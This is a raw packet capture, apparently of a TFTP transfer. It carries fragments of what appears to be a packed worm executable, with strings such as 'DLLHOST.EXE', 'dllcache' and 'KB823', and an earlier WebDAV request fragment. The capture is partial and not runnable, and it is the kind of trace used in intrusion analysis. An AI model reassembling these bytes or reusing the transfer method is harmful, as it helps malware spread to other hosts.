0x0050 6166 6464 dcd8 d400 8890 0551 17a2 3922 afdd.......Q..9"
0x0060 ffbc 67d0 3044 1194 0579 5e3e dffe 2575 ..g.0D...y^>..%u
0x0070 3533 3930 0536 3635 6561 6439 3933 6bef 5390.665ead993k.
0x0080 e66e 3735 3617 0466 3805 0123 9923 0f19 .n756..f8..#.#..
0x0090 6634 6534 301b a4bb bb3f 3233 1731 3263 f4e40....?23.12c
0x00a0 4d30 3917 c3fe 4ef2 6164 3438 2f30 3838 M09...N.ad48/088
0x00b0 0b87 64c0 9639 6117 6138 35ed fd7e bf32 ..d..9a.a85..~.2
0x00c0 5f61 6189 6438 1764 365f 19c4 76c6 6205 _aa.d8.d6_..v.b.
0x00d0 7763 7139 ffbf fd0b 7c66 696c 6f6d 6964 wcq9....|filomid
0x00e0 0366 6166 6466 6766 6869 6e68 6e6c f620 .fafdfgfhinhnl..
0x00f0 8ffd 616c 6a62 6561 006c 696d 7064 6b2b ..aljbea.limpdk+
0x0100 b6b5 1fec 6a69 1769 7065 6670 052b 6e08 ....ji.ipefp.+n.
0x0110 ed83 fcd8 7000 6765 6b62 6169 6a65 6804 ....p.gekbaijeh.
0x0120 e61e 766b 1107 646e 136d 6831 2bb6 dd6b ..vk..dn.mh1+..k
0x0130 6e00 773f 7969 6173 6ab0 ed3d e70b 8825 n.w?yiasj..=...%
0x0140 4213 6465 cd36 37fb 626d 6713 1596 670f B.de.67.bmg...g.
0x0150 dbd9 cd9d 1c69 0f5d 656f 0168 4162 ad6d .....i.]eo.hAb.m
0x0160 9b6b 361d 736b 1765 19d1 f79b c9ba 6a13 .k6.sk.e......j.
0x0170 6a0d 6963 6767 6b6e 6735 b576 fb35 1b0f j.icggkng5.v.5..
0x0180 6f6b 876f 6757 04bb c536 b70d 664f f970 ok.ogW...6..fO.p
0x0190 b927 6d64 9f61 85c2 b665 6368 6d16 01bf .'md.a...echm...
0x01a0 d85a fbbb 7965 6464 6363 6262 0518 236f .Z..yeddccbb..#o
0x01b0 cdda ec66 3bab 6868 d12d 01e7 f205 531b ...f;.hh.-....S.
0x01c0 7735 3935 3136 3884 5d70 b437 0c01 f331 w595168.]p.7...1
0x01d0 3817 ffff bf11 c33c 3f78 6d6c 2076 6572 8......<?xml.ver
0x01e0 7369 6f6e 3d22 312e 30ee ff85 ff22 3f3e sion="1.0...."?>
0x01f0 0d0a 3c67 3a73 1772 6368 7265 7175 6573 ..<g:s.rchreques
0x0200 7420 25bb 83fc f66e 733a 6721 4441 563a t.%....ns:g!DAV:
0x0210 2271 6c08 5365 b810 6b0b 4463 2018 5073 "ql.Se..k.Dc..Ps
07:03:56.843170 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53e 0000 8011 5b1f 800a 097f E....>....[.....
0x0010 800a 10dc 0f72 0646 000c cf9e 0004 000c .....r.F........
0x0020 7002 4000 2d00 0000 0204 05b4 0101 p.@.-.........
07:03:56.843182 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53e 0000 8011 5b1f 800a 097f E....>....[.....
0x0010 800a 10dc 0f72 0646 000c cf9e 0004 000c .....r.F........
0x0020 7002 4000 2d00 0000 0204 05b4 0101 p.@.-.........
07:03:56.847054 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b10 0000 7f11 044e 800a 10dc E..........N....
0x0010 800a 097f 0646 0f72 020c cc7f 0003 000d .....F.r........
0x0020 70f8 c2df 58b0 790d 6d65 2220 6672 3820 p...X.y.me".fr8.
0x0030 7363 6f64 6fd6 dd0e 2829 2f2f 3009 5cff scodo...()//0.\.
0x0040 ffff 2e13 0030 3d9f 3d8a 3d8b 3d91 3d95 .....0=.=.=.=.=.
0x0050 3d97 3d9d 3da1 3dbc 3df3 3de9 ffff ffff =.=.=.=.=.=.....
0x0060 3d9a 3da0 dc60 ca64 ca67 ca68 ca66 ca71 =.=..`.d.g.h.f.q
0x0070 ca82 ca5d cb62 cad0 cbcf cb0c d22a d235 ...].b.......*.5
0x0080 ffff ffff d248 d244 d357 d354 d35c d360 .....H.D.W.T.\.`
0x0090 d362 d353 d35f d3a1 d3a2 d3a3 d390 d39c .b.S._..........
0x00a0 d39e d36d f7ff ffff da04 da05 da11 da47 ...m...........G
0x00b0 da00 da6a dac7 da91 db08 da06 da3f da58 ...j.........?.X
0x00c0 da59 da45 07ff b7ff 7f4b da55 da68 dac5 .Y.E.....K.U.h..
0x00d0 da8a dbde dbea db6d dc6b a3dc 75dc a2dc .......m.k..u...
0x00e0 b9dc badc 6c17 02fe 71dc 70dc a6dc 34ba ....l...q.p...4.
0x00f0 c05f 034c 34cb 66d9 d85e 64f0 5d7c 08a6 ._.L4.f..^d.]|..
0x0100 6b2a de05 000b 03ec 4803 7f5e f71e dad0 k*......H..^....
0x0110 1601 5701 0301 a008 ffff 39eb 00c0 0646 ..W.......9....F
0x0120 045d 888a eb1c c911 9fe8 0800 2b10 1cd9 .]..........+...
0x0130 5cd0 4860 3747 00e8 038b 75df b3e5 033f \.H`7G....u....?
0x0140 0417 064b 0026 fbff ff32 2458 fdcc 4564 ...K.&...2$X..Ed
0x0150 49b0 70dd ae74 2c96 d260 5e0d 1b70 df34 I.p..t,..`^..p.4
0x0160 dde7 0b47 7c13 0010 8096 f1f1 2a0f 7bf3 ...G|.......*.{.
0x0170 ff4d ce11 a66a 0020 af6e 72f4 0c4d 4152 .M...j...nr..MAR
0x0180 4233 0df0 be39 f7df adba 07a8 f40b 0060 B3...9.........`
0x0190 6f03 1f45 4f57 045d d921 6ba2 b738 03c7 o..EOW.].!k..8..
0x01a0 307e 050f d613 2817 0110 0833 c800 7206 0~....(....3..r.
0x01b0 f0cd 4317 d84c 02be f35f c907 c428 cd00 ..C..L..._...(..
0x01c0 6429 cd1f b948 866c c873 ab0f a564 4886 d)...H.l.s...dH.
0x01d0 64a6 a4ad 745f 4886 aa73 6003 58ef 354d d...t_H..s`.X.5M
0x01e0 d390 4020 78db d3d2 7d33 60d7 504f b688 ..@.x...}3`.PO..
0x01f0 20ff 0000 110e 0b04 5f48 0336 b009 f966 ........_H.6...f
0x0200 0006 0902 102b 07ff c978 0f78 190c b31b .....+...x.x....
0x0210 70d8 9893 984f d211 1226 b9fb a93d be57 p....O...&...=.W
07:03:56.848005 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53f 0000 8011 5b1e 800a 097f E....?....[.....
0x0010 800a 10dc 0f72 0646 000c cf9d 0004 000d .....r.F........
0x0020 7002 4000 4c90 0000 0204 05b4 0101 p.@.L.........
07:03:56.848017 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c53f 0000 8011 5b1e 800a 097f E....?....[.....
0x0010 800a 10dc 0f72 0646 000c cf9d 0004 000d .....r.F........
0x0020 7002 4000 4c90 0000 0204 05b4 0101 p.@.L.........
07:03:56.851957 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b11 0000 7f11 044d 800a 10dc E..........M....
0x0010 800a 097f 0646 0f72 020c a795 0003 000e .....F.r........
0x0020 b257 3200 3180 e7e7 a04e d800 1843 95ff .W2.1....N...C..
0x0030 0cc9 25bc 03f7 c03b ff07 6380 db81 c517 ..%....;..c.....
0x0040 0380 0ee9 4a99 9903 36c2 fef1 8a50 6f7a ....J...6....Poz
0x0050 8502 e3e7 304f f2d8 085f 6e23 d8da 0d20 ....0O..._n#....
0x0060 2f0c 8b0d d864 0b03 0746 e93f a610 c62e /....d...F.?....
0x0070 107f 2e47 68f6 7889 680e bd68 8b0b 775f ...Gh.x.h..h..w_
0x0080 eeb1 015b 075c 0143 0024 0541 e6fe 8631 ...[.\.C.$.A...1
0x0090 2d33 0034 0035 0036 0b01 f61e ecb7 7364 -3.4.5.6......sd
0x00a0 006f 0063 934e 0042 070b c87f d252 031a .o.c.N.B.....R..
0x00b0 3208 7fcc e0fd ff13 10d8 9000 eb10 5a4a 2.............ZJ
0x00c0 33c9 66b9 76f1 f2f2 ff01 8034 0a99 e2fa 3.f.v......4....
0x00d0 eb05 e8eb ff70 6199 c321 95bb ffff 2ff6 .....pa..!..../.
0x00e0 e612 9912 e985 3412 d991 1241 12ea a59a ......4....A....
0x00f0 6a12 efe1 04e7 b9ff 7ff7 ff9a 6212 d78d j...........b...
0x0100 aa74 cfce c812 a60b 6bf3 97c0 6a3f ed91 .t......k...j?..
0x0110 c0c6 1a5e 9ddc 7bd9 feff b770 07c7 1254 ...^..{....p...T
0x0120 12df bd9a 5a48 789a 58aa 50ff 1291 0d85 ....ZHx.X.P.....
0x0130 ffdf 5a7b 5878 9b0e 5308 1263 126e 1a5f ..Z{Xx..S..c.n._
0x0140 9712 49f3 9ac0 da37 d8dc 71ed 6e0c 9460 ..I....7..q.n..`
0x0150 66ce 65c3 68ef feff f912 f875 dd12 6df3 f.e.h......u..m.
0x0160 89c0 109d 177b 62c9 00f3 98f3 9bff b2bd .....{b.........
0x0170 6d22 6d21 10c7 a102 a5d9 ff5e dfb5 9898 m"m!.......^....
0x0180 fbbf c5fe 14de 89c9 cfaa 5921 0314 cea5 ..........Y!....
0x0190 5e9b faf4 fd99 cbd9 bbb9 df7e ce71 5e9e ^..........~.q^.
0x01a0 9b49 9b5e de9d fa00 4cce ca13 dadf ba6e .I.^....L......n
0x01b0 6103 651b 7532 351c 59ec 60c8 78ff edcb a.e.u25.Y.`.x...
0x01c0 df11 4bc3 c032 7b77 5a71 9a66 00de fced ..K..2{wZq.f....
0x01d0 c9eb f6fa d8bf 7b6f fffd fdeb fcea ea99 ......{o........
0x01e0 da05 f8ed fc11 0dd8 99dc e1f0 eddb bfdd ................
0x01f0 dccd f113 63d5 f604 d5f0 fbeb f8eb e017 ....c...........
0x0200 ee7f 79bb fdea abc6 aaab 9963 d8ca 29f2 ..y........c..).
0x0210 fced faf6 f7f7 fcfa 248d b56f dffa f5f6 ........$..o....
07:03:56.852902 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c540 0000 8011 5b1d 800a 097f E....@....[.....
0x0010 800a 10dc 0f72 0646 000c cf9c 0004 000e .....r.F........
0x0020 7002 4000 a783 0000 0204 05b4 0101 p.@...........
07:03:56.852914 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c540 0000 8011 5b1d 800a 097f E....@....[.....
0x0010 800a 10dc 0f72 0646 000c cf9c 0004 000e .....r.F........
0x0020 7002 4000 a783 0000 0204 05b4 0101 p.@...........
07:03:56.857116 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b12 0000 7f11 044c 800a 10dc E..........L....
0x0010 800a 097f 0646 0f72 020c 2bd5 0003 000f .....F.r..+.....
0x0020 ea3a 1499 5720 3fd2 c820 2db7 882a 0c00 .:..W.?...-..*..
0x0030 0280 2681 f728 8c0c 07bf 842f f137 d14d ..&..(...../.7.M
0x0040 d279 2064 6c6c 6361 c265 5c74 7da3 bfd1 .y.dllca.e\t}...
0x0050 6674 342e 6578 6520 7728 735c 7376 98e9 ft4.exe.w(s\sv..
0x0060 2bb1 146f d310 0ade 131c d0f3 ff44 4c4c +..o.........DLL
0x0070 484f 5354 2e45 5845 9a14 f9ee bd85 4954 HOST.EXE......IT
0x0080 3853 0b50 6174 6368 f756 b6c5 4172 5a49 8S.Patch.V..ArZI
0x0090 00b3 ffed 2f9f 3d3d ca00 cbd2 d2d3 d3da ..../.==........
0x00a0 dadb dc2f d607 e662 6334 7747 4554 5268 .../...bc4wGETRh
0x00b0 8b2d fe20 4854 5450 2fd3 3160 41a3 466f .-..HTTP/.1`A.Fo
0x00c0 54d0 9574 3a20 e829 07db a885 8009 2c0a T..t:..)......,.
0x00d0 782d 6d71 d8f2 7862 6974 7010 6aaf 6716 x-mq..xbitp.j.g.
0x00e0 db67 870b 700c 2a2f 2a41 55b3 6f5b ddf6 .g..p.*/*AU.o[..
0x00f0 722d 4114 6e45 4ded 696f 612f 34ad 54e1 r-A.nEM.ioa/4.T.
0x0100 422e 2028 0e35 befe 6da1 46b4 063b 1853 B..(.5..m.F..;.S
0x0110 4945 2035 2e35 17bf 51db 0957 943a 7773 IE.5.5..Q..W.:ws
0x0120 2039 38fc 85b6 d75c 4899 35c3 0b43 67da .98....\H.5..Cg.
0x0130 cd90 a16e 306e 114b 6594 a815 6ad4 537b ...n0n.Ke...j.S{
0x0140 7f17 35fa b267 04df 0020 4920 7a5b ead6 ..5..g....I.z[..
0x0150 bd19 206d 79e1 6607 2620 2262 0bb9 426d ...my.f.&."b..Bm
0x0160 7b3a 297e 0020 5f76 786e c72e b515 4358 {:)~.._vxn....CX
0x0170 616e 114e 6f54 6365 6873 0b5d 2032 dc34 an.NoTcehs.].2.4
0x0180 32a0 2042 ef36 5b60 6d41 bb6c 6638 8fcc 2..B.6[`mA.lf8..
0x0190 b5ed f66f 7272 437a 687d 6776 366f 6888 ...orrCzh}gv6oh.
0x01a0 220c 48b1 742d 98ea 5e76 3a2f 2fbe 6eae ".H.t-..^v://.n.
0x01b0 806d b985 56a8 56ca 388c 2e71 bd51 fb93 .m..V.V.8..q.Q..
0x01c0 162f 362f 392f 3505 5a37 6437 f52f fc1b ./6/9/5.Z7d7./..
0x01d0 592d 6662 3761 2d34 b739 2d62 3165 362d Y-fb7a-4.9-b1e6-
0x01e0 b0d1 b72a 3f7a 6236 3266 6c32 c2df 05a1 ...*?zb62fl2....
0x01f0 270c 9830 2d4b 4238 3233 15c0 0e6f b708 '..0-KB823...o..
0x0200 7838 254b 4f52 b173 2fb5 bda5 6f38 2f66 x8%KOR.s/...o8/f
0x0210 0538 c837 3136 fd72 d9fd 312d 3864 6233 .8.716.r..1-8db3
07:03:56.858030 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c541 0000 8011 5b1c 800a 097f E....A....[.....
0x0010 800a 10dc 0f72 0646 000c cf9b 0004 000f .....r.F........
0x0020 7002 4000 cc02 0000 0204 05b4 0101 p.@...........
07:03:56.858041 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c541 0000 8011 5b1c 800a 097f E....A....[.....
0x0010 800a 10dc 0f72 0646 000c cf9b 0004 000f .....r.F........
0x0020 7002 4000 cc02 0000 0204 05b4 0101 p.@...........
07:03:56.862273 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b13 0000 7f11 044b 800a 10dc E..........K....
0x0010 800a 097f 0646 0f72 020c 3580 0003 0010 .....F.r..5.....
0x0020 7366 3435 3730 6135 3662 e42b acbd 0439 sf4570a56b.+...9
0x0030 6438 8073 4348 54f6 b766 2232 3105 3831 d8.sCHT..f"21.81
0x0040 6330 6466 3ed5 de5a fb37 3732 6273 034c c0df>..Z.772bs.L
0x0050 3931 32f6 90b5 4d3d 5462 5365 3918 73df 912...M=TbSe9.s.
0x0060 3c11 7653 e730 2f31 3031 6664 646d 6b2f <.vS.0/101fddmk/
0x0070 ff34 3066 2d65 6663 3533 3364 f11c 32ec .40f-efc533d..2.
0x0080 b06d 6b85 345c 1765 3405 3573 1b89 90af .mk.4\.e4.5s....
0x0090 454e 55ee 336d 2b74 7775 6533 315c 32c5 ENU.3m+twue31\2.
0x00a0 ea35 47ff 0657 687c da73 5b33 6538 3165 .5G..Wh|.s[3e81e
0x00b0 6234 3508 219c e435 3466 5850 cdb0 3906 b45.!..54fXP..9.
0x00c0 425b 3347 4136 7243 6b0d ed33 6448 5b35 B[3GA6rCk..3dH[5
0x00d0 3037 b65d 80f2 6163 3269 3332 ec33 0784 07.]..ac2i32.3..
0x00e0 1d46 d838 73cd 73c7 8ed6 5d61 0135 032b .F.8s.s...]a.5.+
0x00f0 6430 43bb 0e47 7933 6133 3844 4d34 ec35 d0C..Gy3a38DM4.5
0x0100 65c2 0a86 0b59 6465 02ee 73eb 180a b953 e....Yde..s....S
0x0110 3943 6205 5a6b ed46 2963 660d 646c 0835 9Cb.Zk.F)cf.dl.5
0x0120 7540 ebe7 3873 6d2d 3935 23ac 702b 251d u@..8sm-95#.p+%.
0x0130 3366 f173 ff03 2d09 cd00 7120 2d69 2025 3f.s..-...q.-i.%
0x0140 7320 3c02 03f2 6765 7420 206e 5356 4380 s.<...get..nSVC.
0x0150 c0ca 962f 29d6 6280 c020 9ecf 24be 2deb .../).b.....$.-.
0x0160 d677 266b 20a9 3853 6861 72f0 d680 dd2b .w&k..8Shar....+
0x0170 6700 6c00 ec44 5443 6f24 d04c 0742 fa13 g.l..DTCo$.L.B..
0x0180 6aef 5602 c62b 5749 4e53 58a1 8035 d07a j.V..+WINSX..5.z
0x0190 4600 7741 58b2 026e 72f3 604b 1b2c cbb6 F.wAX..nr.`K.,..
0x01a0 1bb7 2d6e 026f 7a71 6d5d db18 2f53 2a76 ..-n.ozqm]../S*v
0x01b0 ec50 5f6b 6ea3 d59e 5873 7978 ec2c 3e63 .P_kn...Xsyx.,>c
0x01c0 5a60 7b81 54bc 656f 75e8 6ff3 75b4 ed31 Z`{.T.eou.o.u..1
0x01d0 d8ed 6563 5472 6155 6635 d86e 1d2c 2d75 ..ecTraUf5.n.,-u
0x01e0 0973 0a75 6c13 4630 30f7 361d 4461 1fa3 .s.ul.F00.6.Da..
0x01f0 0486 e096 20e3 cfd0 c025 0437 1fe3 0f4d .........%.7...M
0x0200 2060 70b9 6aec 06e7 1a6c 1b37 1c01 1047 .`p.j....l.7...G
0x0210 e0cd c0bb 74ef 2d54 7970 9e0a 7874 2f6d ....t.-Typ..xt/m
07:03:56.863375 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c542 0000 8011 5b1b 800a 097f E....B....[.....
0x0010 800a 10dc 0f72 0646 000c cf9a 0004 0010 .....r.F........
0x0020 7002 4000 4727 0000 0204 05b4 0101 p.@.G'........
07:03:56.863387 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c542 0000 8011 5b1b 800a 097f E....B....[.....
0x0010 800a 10dc 0f72 0646 000c cf9a 0004 0010 .....r.F........
0x0020 7002 4000 4727 0000 0204 05b4 0101 p.@.G'........
07:03:56.867232 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b14 0000 7f11 044a 800a 10dc E..........J....
0x0010 800a 097f 0646 0f72 020c ae1c 0003 0011 .....F.r........
0x0020 6f97 954e 176c 0467 7468 1933 c26f 3f68 o..N.l.gth.3.o?h
0x0030 4106 5958 0100 5345 4152 c5ad d05e 83c2 A.YX..SEAR...^..
0x0040 bbec 7dce 85d6 0a1f 4b50 83f6 2ec5 9dec ..}.....KP......
0x0050 b66d 134f bc57 2245 5ca0 5c55 1806 85b6 .m.O.W"E\.\U....
0x0060 c061 4f3a 79d8 61bc d141 0950 325c 4500 .aO:y.a..A.P2\E.
0x0070 33af 45c8 1431 790a af96 7435 354f 6ecb 3.E..1y...t55On.
0x0080 606c 2640 1c6e 4b63 66d7 c1c7 c269 678e `l&@.nKcf....ig.
0x0090 614e 20c6 7545 6e36 c78e 5120 4410 2b6d aN..uEn6..Q.D.+m
0x00a0 4950 2030 190d 971c 6472 9d2e 0725 0f58 IP.0....dr...%.X
0x00b0 04db 702d 640d 2b5f 4d75 b0c4 310c 487b ..p-d.+_Mu..1.H{
0x00c0 6d73 7a61 70a9 6083 ae00 0cd1 3131 8996 mszap.`.....11..
0x00d0 1292 439b 346e 276b ed11 4402 0eda 2d49 ..C.4n'k..D...-I
0x00e0 bd18 85d6 4953 1ab4 d301 2042 800c 0304 ....IS.....B....
0x00f0 0101 5888 00cb a842 52e0 faa5 3214 0bfc ..X....BR...2...
0x0100 0147 6574 4c05 60fb ad44 4572 726f 720d .GetL.`..DError.
0x0110 49a5 004a c1ff 726c 6f63 6b65 6444 6563 I..J..rlockedDec
0x0120 5261 eeb7 e6bb 2311 6261 6c41 6c18 0c40 Ra....#.balAl..@
0x0130 db6e db46 1b65 0b4f 701f 5038 5f00 c61c .n.F.e.Op.P8_...
0x0140 6449 46b0 4174 7472 6f25 cbf6 6962 7574 dIF.Attro%..ibut
0x0150 1341 5327 829b fbf6 4d6f 6475 1548 616e .AS'....Modu.Han
0x0160 641b 1155 6ed0 b6f7 b793 5669 6577 4f66 d..Un.....ViewOf
0x0170 2d10 435d 09fb aa02 76f6 4194 5eb2 36c9 -.C]....v.A.^.6.
0x0180 496e 4c10 930b 2c02 f4cd 925d 56e1 0b33 InL...,....]V..3
0x0190 0167 0f45 7878 4324 3dc0 d81f 58b3 4f45 .g.ExxC$=...X.OE
0x01a0 4d43 5009 537b a1dd 4e57 f766 619c 1443 MCP.S{..NW.fa..C
0x01b0 4944 abbd 7d7f 0197 4e61 6dad 5452 6d69 ID..}...Nam.TRmi
0x01c0 6eb0 d09e cc9f 4557 6169 e63e 53b5 80b7 n.....EWai.>S...
0x01d0 02e2 254f 626a 4836 7b0d c2c3 3935 78a1 ..%ObjH6{...95x.
0x01e0 96b0 cd3c 5469 6d8b 6980 15dd b3b7 b5d9 ...<Tim.i.......
0x01f0 2c75 d3f7 5468 0664 5e5b 820c 3cb1 7006 ,u..Th.d^[..<.p.
0x0200 d72f 3b5c 023e 736f 19a6 6972 bf4d 7673 ./;\.>so..ir.Mvs
0x0210 6674 7941 366f 2168 656c 7033 b560 eedb ftyA6o!help3.`..
07:03:56.867892 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c543 0000 8011 5b1a 800a 097f E....C....[.....
0x0010 800a 10dc 0f72 0646 000c cf99 0004 0011 .....r.F........
0x0020 7002 4000 996d 0000 0204 05b4 0101 p.@..m........
07:03:56.867901 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c543 0000 8011 5b1a 800a 097f E....C....[.....
0x0010 800a 10dc 0f72 0646 000c cf99 0004 0011 .....r.F........
0x0020 7002 4000 996d 0000 0204 05b4 0101 p.@..m........
07:03:56.872133 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b15 0000 7f11 0449 800a 10dc E..........I....
0x0010 800a 097f 0646 0f72 020c 23aa 0003 0012 .....F.r..#.....
0x0020 3253 9d70 7368 6f50 6712 2b1c 58a1 8907 2S.pshoPg.+.X...
0x0030 0f4e 596f 360b c2c2 3d73 8645 d4ac b582 .NYo6...=s.E....
0x0040 4b55 0815 0fc2 b76d 52f1 00ed 0c25 682e KU.....mR....%h.
0x0050 6765 7d00 6701 9343 e932 e4a7 6cdb 2c51 ge}.g..C.2..l.,Q
0x0060 7511 7915 5374 6172 747b 374b 1651 0f70 u.y.Start{7K.Q.p
0x0070 5265 6769 ca71 b631 ac72 3623 6c8b 7285 Regi.q.1.r6#l.r.
0x0080 dd05 9b39 1744 7475 734c 1350 82be 2b44 ...9.DtusL.P..+D
0x0090 801e 6521 9b3d 2e7f 3093 fc86 0476 41bf ..e!.=..0....vA.
0x00a0 4141 646a 7573 7431 5940 a362 7773 1246 AAdjust1Y@.bws.F
0x00b0 029e df53 43df 7268 6cd8 6159 d03f 0eba ...SC.rhl.aY.?..
0x00c0 fedc b2d9 3321 e310 4b65 7990 5cec 3d82 ....3!..Key.\.=.
0x00d0 0e33 0f3d 92db 2396 79c7 8175 709f e661 .3.=..#.y..up..a
0x00e0 6356 3275 7cfa 5049 6369 f612 c26d 70b3 cV2u|.PIci...mp.
0x00f0 1094 3846 b0b5 370f 7c1b 459d cdf1 2cb7 ..8F..7.|.E...,.
0x0100 3703 01f0 6572 0568 9de1 f45f 5863 708e 7...er.h..._Xcp.
0x0110 720c 5f5f b56e 478b 0ac8 7267 e95f 08ce r.__.nG...rg._..
0x0120 2db4 ae22 186d 0a07 7202 07fb febf b972 -..".m..r......r
0x0130 6406 3f3f 3240 5941 5041 5849 405a 3670 d.??2@YAPAXI@Z6p
0x0140 0286 f6b6 582c 6576 0e8b 6b11 3e43 7337 ....X,ev..k.>Cs7
0x0150 8288 5761 4a36 8260 ed5f 6664 c42e 396d ..WaJ6.`._fd..9m
0x0160 365a c195 449d afd9 e666 1bcc 10c5 6212 6Z..D....f....b.
0x0170 1f66 1dbd b72d 364b 3e70 1174 7970 0f77 .f...-6K>p.typ.w
0x0180 c62e a2b5 c75f 6813 3311 77a3 1502 5939 ....._h.3.w...Y9
0x0190 e566 701d f65c d3bd d39d 3358 9e9d b12c .fp..\....3X...,
0x01a0 185c 6d47 6d08 000e 9815 bcd9 9c31 5552 .\mGm........1UR
0x01b0 4c44 9fe9 7483 516a d219 1c48 90b3 b509 LD..t.Qj...H....
0x01c0 c1e0 0a17 2465 59b6 4d50 ff17 0204 390c ....$eY.MP....9.
0x01d0 9665 5996 3415 1310 0309 5996 6559 0274 .eY.4.....Y.eY.t
0x01e0 0d01 08f2 0496 6573 0e0b 7150 4580 fe92 ......es..qPE...
0x01f0 ff4c 0103 0008 2008 9a0f 010b 0106 6641 .L............fA
0x0200 cfc6 5240 13cc 2fbe 64e7 d9f7 0f04 100f ..R@../.d.......
0x0210 0400 075b 0674 b617 8031 0ccb e00d ec10 ...[.t...1......
07:03:56.873308 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c544 0000 8011 5b19 800a 097f E....D....[.....
0x0010 800a 10dc 0f72 0646 000c cf98 0004 0012 .....r.F........
0x0020 7002 4000 61ee 0000 0204 05b4 0101 p.@.a.........
07:03:56.873319 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c544 0000 8011 5b19 800a 097f E....D....[.....
0x0010 800a 10dc 0f72 0646 000c cf98 0004 0012 .....r.F........
0x0020 7002 4000 61ee 0000 0204 05b4 0101 p.@.a.........
07:03:56.877476 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b16 0000 7f11 0448 800a 10dc E..........H....
0x0010 800a 097f 0646 0f72 020c f491 0003 0013 .....F.r........
0x0020 0706 36ba 0121 cbb4 41a0 a2a4 29b8 c208 ..6..!..A...)...
0x0030 262e f085 6cb0 9d07 3a21 9030 982d 058f &...l...:!.0.-..
0x0040 0195 602e 7210 6129 9b30 b953 b009 036a ..`.r.a).0.S...j
0x0050 bdd3 ecde 402e 263c c826 5007 e5b6 e194 ....@.&<.&P.....
0x0060 27c0 00eb f843 035e 7500 0000 0000 8004 '....C.^u.......
0x0070 00ff 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 60be 0070 4000 8dbe 00a0 ffff 5783 cdff `..p@.......W...
0x0090 eb10 9090 9090 9090 8a06 4688 0747 01db ..........F..G..
0x00a0 7507 8b1e 83ee fc11 db72 edb8 0100 0000 u........r......
0x00b0 01db 7507 8b1e 83ee fc11 db11 c001 db73 ..u............s
0x00c0 ef75 098b 1e83 eefc 11db 73e4 31c9 83e8 .u........s.1...
0x00d0 0372 0dc1 e008 8a06 4683 f0ff 7474 89c5 .r......F...tt..
0x00e0 01db 7507 8b1e 83ee fc11 db11 c901 db75 ..u............u
0x00f0 078b 1e83 eefc 11db 11c9 7520 4101 db75 ..........u.A..u
0x0100 078b 1e83 eefc 11db 11c9 01db 73ef 7509 ............s.u.
0x0110 8b1e 83ee fc11 db73 e483 c102 81fd 00f3 .......s........
0x0120 ffff 83d1 018d 142f 83fd fc76 0f8a 0242 ......./...v...B
0x0130 8807 4749 75f7 e963 ffff ff90 8b02 83c2 ..GIu..c........
0x0140 0489 0783 c704 83e9 0477 f101 cfe9 4cff .........w....L.
0x0150 ffff 5e89 f7b9 5d00 0000 8a07 472c e83c ..^...].....G,.<
0x0160 0177 f780 3f01 75f2 8b07 8a5f 0466 c1e8 .w..?.u...._.f..
0x0170 08c1 c010 86c4 29f8 80eb e801 f089 0783 ......).........
0x0180 c705 89d8 e2d9 8dbe 0070 0000 8b07 09c0 .........p......
0x0190 7445 8b5f 048d 8430 0090 0000 01f3 5083 tE._...0......P.
0x01a0 c708 ff96 a090 0000 958a 0747 08c0 74dc ...........G..t.
0x01b0 89f9 7907 0fb7 0747 5047 b957 48f2 ae55 ..y....GPG.WH..U
0x01c0 ff96 a490 0000 09c0 7407 8903 83c3 04eb ........t.......
0x01d0 d8ff 96a8 9000 0061 e90f 9eff ff00 0000 .......a........
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.878248 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c545 0000 8011 5b18 800a 097f E....E....[.....
0x0010 800a 10dc 0f72 0646 000c cf97 0004 0013 .....r.F........
0x0020 5018 4442 303f 0000 2056 6f6c 756d P.DB0?...Volum
07:03:56.878259 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c545 0000 8011 5b18 800a 097f E....E....[.....
0x0010 800a 10dc 0f72 0646 000c cf97 0004 0013 .....r.F........
0x0020 5018 4442 303f 0000 2056 6f6c 756d P.DB0?...Volum
07:03:56.882225 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b17 0000 7f11 0447 800a 10dc E..........G....
0x0010 800a 097f 0646 0f72 020c 219c 0003 0014 .....F.r..!.....
0x0020 0000 0000 0000 0000 0000 0000 e0a0 0000 ................
0x0030 a0a0 0000 0000 0000 0000 0000 0000 0000 ................
0x0040 eda0 0000 b0a0 0000 0000 0000 0000 0000 ................
